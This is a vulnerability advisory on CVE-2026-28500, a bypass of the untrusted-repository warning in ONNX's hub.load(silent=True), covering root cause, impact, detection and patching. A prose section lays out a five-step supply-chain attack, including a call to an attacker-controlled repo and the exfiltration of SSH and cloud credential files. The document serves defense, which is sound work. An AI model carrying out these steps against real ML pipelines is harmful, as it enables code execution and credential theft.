CVE-2026-28500: 
Python vulnerability analysis and mitigation

CVE-2026-28500 is a security control bypass vulnerability in Open Neural Network Exchange (ONNX) affecting the onnx.hub.load() function, enabling silent supply-chain attacks via untrusted model repositories. It affects all ONNX versions up to and including 1.20.1 (Linux Foundation onnx pip package). The vulnerability was published on March 16, 2026 via GitHub Advisory GHSA-hqmj-h5c6-369m and assigned a CVE on March 18, 2026. CVSS scores vary by source: the GitHub Advisory Database rates it 8.6 (High) with a scope-changed vector, while the ONNX security advisory rates it 4.8 (Moderate); Feedly threat intelligence reports a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory, ONNX Advisory, Red Hat Bugzilla).

The root cause is a protection mechanism failure (CWE-693) combined with insufficient verification of data authenticity (CWE-345) and download of code without integrity check (CWE-494). When onnx.hub.load() is called with silent=True, the conditional block that prints an untrusted-repository warning and prompts the user for confirmation is entirely skipped — the check if not _verify_repo_ref(repo) and not silent: short-circuits, meaning no warning is ever shown for non-official repos. Compounding the issue, the SHA256 integrity check is ineffective because it validates against a manifest hosted in the same attacker-controlled repository, so a malicious actor can always produce a matching hash. This allows any pipeline invoking hub.load(silent=True, repo=<attacker_repo>) to silently download and execute arbitrary model code, classified as CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) (GitHub Advisory, ONNX Advisory, Researcher Write-up).

Successful exploitation allows an attacker to silently load a malicious ONNX model from an unverified GitHub repository into any pipeline using hub.load(silent=True), with no user awareness or confirmation. If the malicious model executes arbitrary code upon loading — a realistic scenario given ONNX's model execution capabilities — the attacker gains code execution on the victim's machine. When chained with file-system access, this enables exfiltration of sensitive files such as SSH private keys, cloud provider credentials, and API tokens, posing a significant supply-chain risk to ML/AI development and deployment environments (GitHub Advisory, Red Hat Bugzilla).

No public proof-of-concept exploit code has been observed, and there is no evidence of in-the-wild exploitation at the time of publication (GitHub Advisory). The EPSS score is approximately 0.007–0.011%, placing it in the lower percentiles for near-term exploitation probability. No threat actor attribution has been reported, and the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the zero-interaction nature of the attack (no privileges or user interaction required over the network) and the prevalence of automated ML pipelines make it an attractive target for supply-chain threat actors (ONNX Advisory).

1. Set up a malicious model repository: Create a public GitHub repository containing a crafted ONNX model file and a manifest (e.g., hub_models.json) with a SHA256 hash matching the malicious model. Embed arbitrary code execution logic within the model (e.g., via custom operators or serialized Python objects if applicable).
2. Identify vulnerable targets: Search for open-source ML projects, CI/CD pipelines, or Jupyter notebooks that call onnx.hub.load() with silent=True and accept an external repo parameter — these are common in automated training and inference pipelines.
3. Inject the malicious repository reference: Through a dependency confusion attack, a compromised upstream package, a pull request to a target project, or social engineering, introduce a call such as onnx.hub.load('ModelName', repo='attacker/malicious-repo', silent=True) into the target's codebase or configuration.
4. Trigger model loading: When the victim's pipeline executes (e.g., during CI/CD, model evaluation, or inference), hub.load() fetches the malicious model from the attacker-controlled repo. The trust warning is suppressed by silent=True, and the SHA256 check passes because the manifest is also attacker-controlled.
5. Achieve code execution and exfiltration: The malicious model executes arbitrary code on the victim's machine upon loading, enabling the attacker to read and exfiltrate sensitive files (e.g., ~/.ssh/id_rsa, ~/.aws/credentials) to an attacker-controlled endpoint (GitHub Advisory, Researcher Write-up).

• Network: Unexpected outbound HTTP/HTTPS connections from ML pipeline hosts to raw.githubusercontent.com or unknown GitHub repositories during model loading; outbound connections to attacker-controlled endpoints (exfiltration) immediately following model load events.
• File System: Presence of newly downloaded .onnx model files from non-official repositories in the ONNX hub cache directory (typically ~/.onnx/hub/); unexpected access or modification timestamps on sensitive files such as ~/.ssh/id_rsa, ~/.aws/credentials, or ~/.config/gcloud/.
• Logs: Python application logs or CI/CD pipeline logs showing onnx.hub.load() calls referencing non-official repository strings (anything other than onnx/models); absence of expected trust-warning log output where silent=True is used.
• Process: Unexpected child processes spawned by the Python interpreter during model loading (e.g., curl, wget, bash, network utilities); unusual file read operations on credential files by the Python process.

The vulnerability is resolved in ONNX version 1.21.0 (patched version), which removes the silent=True bypass behavior; organizations should upgrade immediately from any version ≤ 1.20.1 (ONNX Advisory). As an interim workaround, audit all code for calls to onnx.hub.load() using silent=True with non-official repo parameters and remove or replace them with explicit, verified repository references. Restrict onnx.hub.load() usage to the official onnx/models repository only, and implement network egress controls to block unexpected outbound connections from ML pipeline environments. Additionally, enforce code review policies to prevent introduction of untrusted repo arguments in automated pipelines (GitHub Advisory).

The vulnerability generated notable community discussion across Reddit communities including r/netsec, r/Python, and r/cybersecurity, with posts highlighting the silent=True parameter as a dangerous design decision enabling supply-chain attacks on ML pipelines. Security researchers on Bluesky and Mastodon also flagged the issue shortly after disclosure. The Raxe AI security team published an independent advisory (RAXE-2026-039), and a dev.to article provided a detailed breakdown of the issue and remediation steps. Red Hat tracked the issue via Bugzilla and assigned it high severity/priority, while Tenable and Qualys added detection coverage via Nessus and their respective scanners (ONNX Advisory, Red Hat Bugzilla).